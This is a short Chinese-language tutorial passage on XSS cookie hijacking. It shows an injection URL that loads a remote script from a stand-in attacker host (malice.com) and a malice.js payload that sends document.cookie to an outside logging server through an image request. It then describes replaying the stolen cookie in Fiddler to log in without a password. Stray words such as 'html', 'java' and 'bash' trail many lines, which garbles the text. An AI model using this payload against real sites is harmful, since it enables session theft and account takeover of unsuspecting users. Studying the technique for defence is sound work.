完成具體功能的惡意腳本(javaScript、Flash 等)稱爲 XSS Payload。黑客會經過這些腳本,來控制用戶的瀏覽器。劫持 Cookie 就是一種 XSS Payload。html
Cookie 中,通常加密存放着當前用戶的登錄憑證。若是 Cookie 被劫持,那麼黑客就能夠不使用密碼,直接登錄到用戶的帳號中。java
首先先在存在 XSS 漏洞的網站,加載一段遠程腳本,形如:後端
http://www.xxx.com/xxx.html?param="><script src=http://www.malice.com/malice.js></script> 複製代碼
XSS Payload 寫在 malice.js 中,這樣就能夠避免直接在 URL 參數中寫入大量的腳本代碼。瀏覽器
malice.js 內容:bash
var img = document.createElement("img");
img.src = "http://xxx.com/log?" + escape(document.cookie);
document.body.appendChild(img);
複製代碼
escape() 函數可對字符串進行編碼,這樣就能夠在全部的計算機上讀取該字符串。服務器
在此,咱們動態建立了一個圖片標籤,並把 cookie 參數做爲對象,發送給後端服務器。cookie
這樣就完成了竊取 Cookie 的整個過程。app
一個網站,若是還未登陸,通常在右上角有個 「登陸」 連接:函數
假設已經獲得了某個帳戶的 Cookie 信息,那麼就能夠在 Fiddler 中,模擬 Get 請求:網站
而後就能夠成功登錄網站咯: